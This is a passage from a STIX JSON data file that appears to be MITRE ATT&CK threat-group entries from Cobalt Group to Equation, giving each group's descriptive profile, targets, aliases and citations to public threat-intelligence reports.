            "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) is a financially motivated threat group that has primarily targeted financial institutions. The group has conducted intrusions to steal money via targeting ATM systems, card processing, payment systems and SWIFT systems. [Cobalt Group](https://attack.mitre.org/groups/G0080) has mainly targeted banks in Eastern Europe, Central Asia, and Southeast Asia. One of the alleged leaders was arrested in Spain in early 2018, but the group still appears to be active. The group has been known to target organizations in order to use their access to then compromise additional victims. (Citation: Talos Cobalt Group July 2018) (Citation: PTSecurity Cobalt Group Aug 2017) (Citation: PTSecurity Cobalt Dec 2016) (Citation: Group IB Cobalt Aug 2017) (Citation: Proofpoint Cobalt June 2017) (Citation: RiskIQ Cobalt Nov 2017) (Citation: RiskIQ Cobalt Jan 2018) Reporting indicates there may be links between [Cobalt Group](https://attack.mitre.org/groups/G0080) and both the malware [Carbanak](https://attack.mitre.org/software/S0030) and the group [Carbanak](https://attack.mitre.org/groups/G0008). (Citation: Europol Cobalt Mar 2018)",
            "object_marking_refs": [
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0080",
                    "external_id": "G0080"
                },
                {
                    "source_name": "Cobalt Group",
                    "description": "(Citation: Talos Cobalt Group July 2018) (Citation: PTSecurity Cobalt Group Aug 2017) (Citation: PTSecurity Cobalt Dec 2016) (Citation: Proofpoint Cobalt June 2017) (Citation: RiskIQ Cobalt Nov 2017) (Citation: RiskIQ Cobalt Jan 2018)"
                },
                {
                    "source_name": "Cobalt Gang",
                    "description": "(Citation: Talos Cobalt Group July 2018) (Citation: Crowdstrike Global Threat Report Feb 2018)(Citation: Morphisec Cobalt Gang Oct 2018)"
                },
                {
                    "source_name": "Cobalt Spider",
                    "description": "(Citation: Crowdstrike Global Threat Report Feb 2018)"
                },
                {
                    "source_name": "Talos Cobalt Group July 2018",
                    "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html"
                },
                {
                    "source_name": "PTSecurity Cobalt Group Aug 2017",
                    "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.",
                    "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf"
                },
                {
                    "source_name": "PTSecurity Cobalt Dec 2016",
                    "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.",
                    "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf"
                },
                {
                    "source_name": "Group IB Cobalt Aug 2017",
                    "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.",
                    "url": "https://www.group-ib.com/blog/cobalt"
                },
                {
                    "source_name": "Proofpoint Cobalt June 2017",
                    "description": "Mesa, M, et al. (2017, June 1). Microsoft Word Intruder Integrates CVE-2017-0199, Utilized by Cobalt Group to Target Financial Institutions. Retrieved October 10, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/microsoft-word-intruder-integrates-cve-2017-0199-utilized-cobalt-group-target"
                },
                {
                    "source_name": "RiskIQ Cobalt Nov 2017",
                    "description": "Klijnsma, Y.. (2017, November 28). Gaffe Reveals Full List of Targets in Spear Phishing Attack Using Cobalt Strike Against Financial Institutions. Retrieved October 10, 2018.",
                    "url": "https://www.riskiq.com/blog/labs/cobalt-strike/"
                },
                {
                    "source_name": "RiskIQ Cobalt Jan 2018",
                    "description": "Klijnsma, Y.. (2018, January 16). First Activities of Cobalt Group in 2018: Spear Phishing Russian Banks. Retrieved October 10, 2018.",
                    "url": "https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/"
                },
                {
                    "source_name": "Europol Cobalt Mar 2018",
                    "description": "Europol. (2018, March 26). Mastermind Behind EUR 1 Billion Cyber Bank Robbery Arrested in Spain. Retrieved October 10, 2018.",
                    "url": "https://www.europol.europa.eu/newsroom/news/mastermind-behind-eur-1-billion-cyber-bank-robbery-arrested-in-spain"
                },
                {
                    "source_name": "Crowdstrike Global Threat Report Feb 2018",
                    "description": "CrowdStrike. (2018, February 26). CrowdStrike 2018 Global Threat Report. Retrieved October 10, 2018.",
                    "url": "https://crowdstrike.lookbookhq.com/global-threat-report-2018-web/cs-2018-global-threat-report"
                },
                {
                    "description": "Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018.",
                    "url": "https://blog.morphisec.com/cobalt-gang-2.0",
                    "source_name": "Morphisec Cobalt Gang Oct 2018"
                }
            ],
            "aliases": [
                "Cobalt Group",
                "Cobalt Gang",
                "Cobalt Spider"
            ],
            "modified": "2021-04-26T13:27:29.519Z",
            "created": "2018-10-17T00:14:20.652Z",
            "x_mitre_version": "1.3"
        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "CopyKittens",
            "description": "[CopyKittens](https://attack.mitre.org/groups/G0052) is an Iranian cyber espionage group that has been operating since at least 2013. It has targeted countries including Israel, Saudi Arabia, Turkey, the U.S., Jordan, and Germany. The group is responsible for the campaign known as Operation Wilted Tulip. (Citation: ClearSky CopyKittens March 2017) (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)",
            "object_marking_refs": [
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0052",
                    "external_id": "G0052"
                },
                {
                    "source_name": "CopyKittens",
                    "description": "(Citation: ClearSky CopyKittens March 2017) (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)"
                },
                {
                    "url": "http://www.clearskysec.com/copykitten-jpost/",
                    "description": "ClearSky Cyber Security. (2017, March 30). Jerusalem Post and other Israeli websites compromised by Iranian threat agent CopyKitten. Retrieved August 21, 2017.",
                    "source_name": "ClearSky CopyKittens March 2017"
                },
                {
                    "source_name": "ClearSky Wilted Tulip July 2017",
                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf"
                },
                {
                    "source_name": "CopyKittens Nov 2015",
                    "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.",
                    "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"
                }
            ],
            "aliases": [
                "CopyKittens"
            ],
            "modified": "2021-03-04T21:59:44.333Z",
            "created": "2018-01-16T16:13:52.465Z",
            "x_mitre_version": "1.4"
        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Dark Caracal",
            "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070) is threat group that has been attributed to the Lebanese General Directorate of General Security (GDGS) and has operated since at least 2012. (Citation: Lookout Dark Caracal Jan 2018)",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0070",
                    "external_id": "G0070"
                },
                {
                    "source_name": "Dark Caracal",
                    "description": "(Citation: Lookout Dark Caracal Jan 2018)"
                },
                {
                    "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf",
                    "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.",
                    "source_name": "Lookout Dark Caracal Jan 2018"
                }
            ],
            "aliases": [
                "Dark Caracal"
            ],
            "modified": "2020-06-03T20:22:40.401Z",
            "created": "2018-10-17T00:14:20.652Z",
            "x_mitre_version": "1.2"
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        {
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0079",
                    "external_id": "G0079"
                },
                {
                    "source_name": "DarkHydrus",
                    "description": "(Citation: Unit 42 DarkHydrus July 2018)"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/",
                    "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.",
                    "source_name": "Unit 42 DarkHydrus July 2018"
                },
                {
                    "url": "https://pan-unit42.github.io/playbook_viewer/",
                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.",
                    "source_name": "Unit 42 Playbook Dec 2017"
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            "description": "[DarkHydrus](https://attack.mitre.org/groups/G0079) is a threat group that has targeted government agencies and educational institutions in the Middle East since at least 2016. The group heavily leverages open-source tools and custom payloads for carrying out attacks. (Citation: Unit 42 DarkHydrus July 2018) (Citation: Unit 42 Playbook Dec 2017)",
            "name": "DarkHydrus",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "type": "intrusion-set",
            "aliases": [
                "DarkHydrus"
            ],
            "modified": "2021-02-09T13:51:14.393Z",
            "created": "2018-10-17T00:14:20.652Z",
            "x_mitre_contributors": [
                "Oleg Skulkin, Group-IB"
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            "x_mitre_version": "1.2"
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        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "external_id": "G0105",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0105"
                },
                {
                    "source_name": "DarkVishnya",
                    "description": "(Citation: Securelist DarkVishnya Dec 2018)"
                },
                {
                    "source_name": "Securelist DarkVishnya Dec 2018",
                    "url": "https://securelist.com/darkvishnya/89169/",
                    "description": "Golovanov, S. (2018, December 6). DarkVishnya: Banks attacked through direct connection to local network. Retrieved May 15, 2020."
                }
            ],
            "description": "[DarkVishnya](https://attack.mitre.org/groups/G0105) is a financially motivated threat actor targeting financial institutions in Eastern Europe. In 2017-2018 the group attacked at least 8 banks in this region.(Citation: Securelist DarkVishnya Dec 2018)",
            "name": "DarkVishnya",
            "type": "intrusion-set",
            "id": "intrusion-set--813636db-3939-4a45-bea9-6113e970c029",
            "aliases": [
                "DarkVishnya"
            ],
            "modified": "2020-05-15T15:08:55.062Z",
            "created": "2020-05-15T13:07:26.651Z",
            "x_mitre_version": "1.0"
        },
        {
            "external_references": [
                {
                    "external_id": "G0012",
                    "url": "https://attack.mitre.org/groups/G0012",
                    "source_name": "mitre-attack"
                },
                {
                    "source_name": "Darkhotel",
                    "description": "(Citation: Kaspersky Darkhotel)"
                },
                {
                    "source_name": "DUBNIUM",
                    "description": "(Citation: Microsoft Digital Defense FY20 Sept 2020)(Citation: Microsoft DUBNIUM June 2016)(Citation: Microsoft DUBNIUM Flash June 2016)(Citation: Microsoft DUBNIUM July 2016)"
                },
                {
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070903/darkhotel_kl_07.11.pdf",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November). The Darkhotel APT A Story of Unusual Hospitality. Retrieved November 12, 2014.",
                    "source_name": "Kaspersky Darkhotel"
                },
                {
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.",
                    "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/",
                    "source_name": "Securelist Darkhotel Aug 2015"
                },
                {
                    "source_name": "Microsoft Digital Defense FY20 Sept 2020",
                    "url": "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWxPuf",
                    "description": "Microsoft . (2020, September 29). Microsoft Digital Defense Report FY20. Retrieved April 21, 2021."
                },
                {
                    "source_name": "Microsoft DUBNIUM June 2016",
                    "url": "https://www.microsoft.com/security/blog/2016/06/09/reverse-engineering-dubnium-2/",
                    "description": "Microsoft. (2016, June 9). Reverse-engineering DUBNIUM. Retrieved March 31, 2021."
                },
                {
                    "source_name": "Microsoft DUBNIUM Flash June 2016",
                    "url": "https://www.microsoft.com/security/blog/2016/06/20/reverse-engineering-dubniums-flash-targeting-exploit/",
                    "description": "Microsoft. (2016, June 20). Reverse-engineering DUBNIUM\u2019s Flash-targeting exploit. Retrieved March 31, 2021."
                },
                {
                    "source_name": "Microsoft DUBNIUM July 2016",
                    "url": "https://www.microsoft.com/security/blog/2016/07/14/reverse-engineering-dubnium-stage-2-payload-analysis/",
                    "description": "Microsoft. (2016, July 14). Reverse engineering DUBNIUM \u2013 Stage 2 payload analysis . Retrieved March 31, 2021."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) is a suspected South Korean threat group that has targeted victims primarily in East Asia since at least 2004. The group's name is based on cyber espionage operations conducted via hotel Internet networks against traveling executives and other select guests. [Darkhotel](https://attack.mitre.org/groups/G0012) has also conducted spearphishing campaigns and infected victims through peer-to-peer and file sharing networks.(Citation: Kaspersky Darkhotel)(Citation: Securelist Darkhotel Aug 2015)(Citation: Microsoft Digital Defense FY20 Sept 2020)",
            "name": "Darkhotel",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383",
            "type": "intrusion-set",
            "aliases": [
                "Darkhotel",
                "DUBNIUM"
            ],
            "modified": "2021-04-22T17:37:58.136Z",
            "created": "2017-05-31T21:31:50.624Z",
            "x_mitre_version": "2.0",
            "x_mitre_contributors": [
                "Harry, CODEMIZE"
            ]
        },
        {
            "external_references": [
                {
                    "external_id": "G0009",
                    "url": "https://attack.mitre.org/groups/G0009",
                    "source_name": "mitre-attack"
                },
                {
                    "source_name": "Deep Panda",
                    "description": "(Citation: Alperovitch 2014)"
                },
                {
                    "source_name": "Shell Crew",
                    "description": "(Citation: RSA Shell Crew)"
                },
                {
                    "source_name": "WebMasters",
                    "description": "(Citation: RSA Shell Crew)"
                },
                {
                    "source_name": "KungFu Kittens",
                    "description": "(Citation: RSA Shell Crew)"
                },
                {
                    "source_name": "PinkPanther",
                    "description": "(Citation: RSA Shell Crew)"
                },
                {
                    "source_name": "Black Vine",
                    "description": "(Citation: Symantec Black Vine)"
                },
                {
                    "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/",
                    "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.",
                    "source_name": "Alperovitch 2014"
                },
                {
                    "url": "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/",
                    "description": "ThreatConnect Research Team. (2015, February 27). The Anthem Hack: All Roads Lead to China. Retrieved January 26, 2016.",
                    "source_name": "ThreatConnect Anthem"
                },
                {
                    "url": "https://www.rsa.com/content/dam/en/white-paper/rsa-incident-response-emerging-threat-profile-shell-crew.pdf",
                    "description": "RSA Incident Response. (2014, January). RSA Incident Response Emerging Threat Profile: Shell Crew. Retrieved January 14, 2016.",
                    "source_name": "RSA Shell Crew"
                },
                {
                    "source_name": "Symantec Black Vine",
                    "description": "DiMaggio, J.. (2015, August 6). The Black Vine cyberespionage group. Retrieved January 26, 2016.",
                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-black-vine-cyberespionage-group.pdf"
                },
                {
                    "url": "https://web.archive.org/web/20171017072306/https://icitech.org/icit-brief-chinas-espionage-dynasty-economic-death-by-a-thousand-cuts/",
                    "description": "Scott, J. and Spaniel, D. (2016, July 28). ICIT Brief - China\u2019s Espionage Dynasty: Economic Death by a Thousand Cuts. Retrieved June 7, 2018.",
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            "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) is a suspected Chinese threat group known to target many industries, including government, defense, financial, and telecommunications. (Citation: Alperovitch 2014) The intrusion into healthcare company Anthem has been attributed to [Deep Panda](https://attack.mitre.org/groups/G0009). (Citation: ThreatConnect Anthem) This group is also known as Shell Crew, WebMasters, KungFu Kittens, and PinkPanther. (Citation: RSA Shell Crew) [Deep Panda](https://attack.mitre.org/groups/G0009) also appears to be known as Black Vine based on the attribution of both group names to the Anthem intrusion. (Citation: Symantec Black Vine) Some analysts track [Deep Panda](https://attack.mitre.org/groups/G0009) and [APT19](https://attack.mitre.org/groups/G0073) as the same group, but it is unclear from open source information if the groups are the same. (Citation: ICIT China's Espionage Jul 2016)",
            "name": "Deep Panda",
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            "aliases": [
                "Deep Panda",
                "Shell Crew",
                "WebMasters",
                "KungFu Kittens",
                "PinkPanther",
                "Black Vine"
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            "modified": "2021-02-09T13:49:09.605Z",
            "created": "2017-05-31T21:31:49.412Z",
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            "x_mitre_contributors": [
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            "id": "intrusion-set--f3bdec95-3d62-42d9-a840-29630f6cdc1a",
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            "description": "[DragonOK](https://attack.mitre.org/groups/G0017) is a threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, [DragonOK](https://attack.mitre.org/groups/G0017) is thought to have a direct or indirect relationship with the threat group [Moafee](https://attack.mitre.org/groups/G0002). (Citation: Operation Quantum Entanglement) It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT. (Citation: New DragonOK)",
            "object_marking_refs": [
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0017",
                    "external_id": "G0017"
                },
                {
                    "source_name": "DragonOK",
                    "description": "(Citation: Operation Quantum Entanglement) (Citation: New DragonOK)"
                },
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf",
                    "description": "Haq, T., Moran, N., Vashisht, S., Scott, M. (2014, September). OPERATION QUANTUM ENTANGLEMENT. Retrieved November 4, 2015.",
                    "source_name": "Operation Quantum Entanglement"
                },
                {
                    "source_name": "New DragonOK",
                    "description": "Miller-Osborn, J., Grunzweig, J.. (2015, April). Unit 42 Identifies New DragonOK Backdoor Malware Deployed Against Japanese Targets. Retrieved November 4, 2015.",
                    "url": "http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/"
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            ],
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                "DragonOK"
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            "modified": "2019-03-22T20:10:32.917Z",
            "created": "2017-05-31T21:31:53.197Z",
            "x_mitre_version": "1.0"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0035",
                    "external_id": "G0035"
                },
                {
                    "source_name": "Dragonfly",
                    "description": "(Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)"
                },
                {
                    "source_name": "TG-4192",
                    "description": "(Citation: Secureworks IRON LIBERTY July 2019)"
                },
                {
                    "source_name": "Crouching Yeti",
                    "description": "(Citation: Secureworks IRON LIBERTY July 2019)"
                },
                {
                    "source_name": "IRON LIBERTY",
                    "description": "(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Secureworks MCMD July 2019)(Citation: Secureworks Karagany July 2019)"
                },
                {
                    "source_name": "Energetic Bear",
                    "description": "(Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Secureworks MCMD July 2019)(Citation: Secureworks Karagany July 2019)"
                },
                {
                    "source_name": "Symantec Dragonfly",
                    "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.",
                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf"
                },
                {
                    "source_name": "Secureworks IRON LIBERTY July 2019",
                    "url": "https://www.secureworks.com/research/resurgent-iron-liberty-targeting-energy-sector",
                    "description": "Secureworks. (2019, July 24). Resurgent Iron Liberty Targeting Energy Sector. Retrieved August 12, 2020."
                },
                {
                    "source_name": "Symantec Dragonfly Sept 2017",
                    "description": "Symantec Security Response. (2017, September 6). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017.",
                    "url": "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group"
                },
                {
                    "source_name": "Fortune Dragonfly 2.0 Sept 2017",
                    "description": "Hackett, R. (2017, September 6). Hackers Have Penetrated Energy Grid, Symantec Warns. Retrieved June 6, 2018.",
                    "url": "http://fortune.com/2017/09/06/hack-energy-grid-symantec/"
                },
                {
                    "source_name": "Dragos DYMALLOY ",
                    "url": "https://www.dragos.com/threat/dymalloy/",
                    "description": "Dragos. (n.d.). DYMALLOY. Retrieved August 20, 2020."
                },
                {
                    "source_name": "Secureworks MCMD July 2019",
                    "url": "https://www.secureworks.com/research/mcmd-malware-analysis",
                    "description": "Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020."
                },
                {
                    "source_name": "Secureworks Karagany July 2019",
                    "url": "https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector",
                    "description": "Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."
                }
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "description": "[Dragonfly](https://attack.mitre.org/groups/G0035) is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus to include the energy sector in early 2013. They have also targeted companies related to industrial control systems. (Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)\n\nA similar group emerged in 2015 and was identified by Symantec as [Dragonfly 2.0](https://attack.mitre.org/groups/G0074). There is debate over the extent of the overlap between [Dragonfly](https://attack.mitre.org/groups/G0035) and [Dragonfly 2.0](https://attack.mitre.org/groups/G0074), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY )",
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            "id": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
            "type": "intrusion-set",
            "aliases": [
                "Dragonfly",
                "TG-4192",
                "Crouching Yeti",
                "IRON LIBERTY",
                "Energetic Bear"
            ],
            "modified": "2021-04-06T18:40:51.440Z",
            "created": "2017-05-31T21:32:05.217Z",
            "x_mitre_version": "2.0"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0074",
                    "external_id": "G0074"
                },
                {
                    "source_name": "Dragonfly 2.0",
                    "description": "(Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) (Citation: Fortune Dragonfly 2.0 Sept 2017)"
                },
                {
                    "source_name": "IRON LIBERTY",
                    "description": "(Citation: Secureworks MCMD July 2019)(Citation: Secureworks IRON LIBERTY)"
                },
                {
                    "source_name": "DYMALLOY",
                    "description": "(Citation: Dragos DYMALLOY )"
                },
                {
                    "source_name": "Berserk Bear",
                    "description": "(Citation: Fortune Dragonfly 2.0 Sept 2017)"
                },
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                },
                {
                    "source_name": "Symantec Dragonfly Sept 2017",
                    "description": "Symantec Security Response. (2017, September 6). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017.",
                    "url": "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group"
                },
                {
                    "source_name": "Fortune Dragonfly 2.0 Sept 2017",
                    "description": "Hackett, R. (2017, September 6). Hackers Have Penetrated Energy Grid, Symantec Warns. Retrieved June 6, 2018.",
                    "url": "http://fortune.com/2017/09/06/hack-energy-grid-symantec/"
                },
                {
                    "source_name": "Dragos DYMALLOY ",
                    "url": "https://www.dragos.com/threat/dymalloy/",
                    "description": "Dragos. (n.d.). DYMALLOY. Retrieved August 20, 2020."
                },
                {
                    "source_name": "Secureworks MCMD July 2019",
                    "url": "https://www.secureworks.com/research/mcmd-malware-analysis",
                    "description": "Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020."
                },
                {
                    "source_name": "Secureworks IRON LIBERTY",
                    "url": "https://www.secureworks.com/research/threat-profiles/iron-liberty",
                    "description": "Secureworks. (n.d.). IRON LIBERTY. Retrieved October 15, 2020."
                }
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            ],
            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a suspected Russian group that has targeted government entities and multiple U.S. critical infrastructure sectors since at least December 2015. (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) There is debate over the extent of overlap between [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) and [Dragonfly](https://attack.mitre.org/groups/G0035), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY )",
            "name": "Dragonfly 2.0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71",
            "type": "intrusion-set",
            "aliases": [
                "Dragonfly 2.0",
                "IRON LIBERTY",
                "DYMALLOY",
                "Berserk Bear"
            ],
            "modified": "2021-04-26T14:05:34.037Z",
            "created": "2018-10-17T00:14:20.652Z",
            "x_mitre_version": "2.0"
        },
        {
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            "id": "intrusion-set--ae41895a-243f-4a65-b99b-d85022326c31",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Dust Storm",
            "description": "[Dust Storm](https://attack.mitre.org/groups/G0031) is a threat group that has targeted multiple industries in Japan, South Korea, the United States, Europe, and several Southeast Asian countries. (Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0031",
                    "external_id": "G0031"
                },
                {
                    "source_name": "Dust Storm",
                    "description": "(Citation: Cylance Dust Storm)"
                },
                {
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "source_name": "Cylance Dust Storm"
                }
            ],
            "aliases": [
                "Dust Storm"
            ],
            "modified": "2019-03-22T20:14:29.575Z",
            "created": "2017-05-31T21:32:03.306Z",
            "x_mitre_version": "1.0"
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            "created": "2018-04-18T17:59:24.739Z",
            "modified": "2021-03-02T22:40:11.097Z",
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                "Beijing Group",
                "Sneaky Panda"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0066",
                    "external_id": "G0066"
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                {
                    "source_name": "Elderwood",
                    "description": "(Citation: Security Affairs Elderwood Sept 2012) (Citation: Symantec Elderwood Sept 2012) (Citation: CSM Elderwood Sept 2012)"
                },
                {
                    "source_name": "Elderwood Gang",
                    "description": "(Citation: Symantec Elderwood Sept 2012) (Citation: CSM Elderwood Sept 2012)"
                },
                {
                    "source_name": "Beijing Group",
                    "description": "(Citation: CSM Elderwood Sept 2012)"
                },
                {
                    "source_name": "Sneaky Panda",
                    "description": "(Citation: CSM Elderwood Sept 2012)"
                },
                {
                    "url": "http://securityaffairs.co/wordpress/8528/hacking/elderwood-project-who-is-behind-op-aurora-and-ongoing-attacks.html",
                    "description": "Paganini, P. (2012, September 9). Elderwood project, who is behind Op. Aurora and ongoing attacks?. Retrieved February 13, 2018.",
                    "source_name": "Security Affairs Elderwood Sept 2012"
                },
                {
                    "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf",
                    "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.",
                    "source_name": "Symantec Elderwood Sept 2012"
                },
                {
                    "url": "https://www.csmonitor.com/USA/2012/0914/Stealing-US-business-secrets-Experts-ID-two-huge-cyber-gangs-in-China",
                    "description": "Clayton, M.. (2012, September 14). Stealing US business secrets: Experts ID two huge cyber 'gangs' in China. Retrieved February 15, 2018.",
                    "source_name": "CSM Elderwood Sept 2012"
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            "description": "[Elderwood](https://attack.mitre.org/groups/G0066) is a suspected Chinese cyber espionage group that was reportedly responsible for the 2009 Google intrusion known as Operation Aurora. (Citation: Security Affairs Elderwood Sept 2012) The group has targeted defense organizations, supply chain manufacturers, human rights and nongovernmental organizations (NGOs), and IT service providers. (Citation: Symantec Elderwood Sept 2012) (Citation: CSM Elderwood Sept 2012)",
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            "x_mitre_contributors": [
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            "id": "intrusion-set--96e239be-ad99-49eb-b127-3007b8c1bec9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Equation",
            "description": "[Equation](https://attack.mitre.org/groups/G0020) is a sophisticated threat group that employs multiple remote access tools. The group is known to use zero-day exploits and has developed the capability to overwrite the firmware of hard disk drives. (Citation: Kaspersky Equation QA)",
            "object_marking_refs": [
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                    "url": "https://attack.mitre.org/groups/G0020",
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                {
                    "source_name": "Equation",
                    "description": "(Citation: Kaspersky Equation QA)"
                },
                {
                    "source_name": "Kaspersky Equation QA",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). Equation Group: Questions and Answers. Retrieved December 21, 2015.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf"
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            "aliases": [
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            "modified": "2020-06-29T01:39:22.044Z",
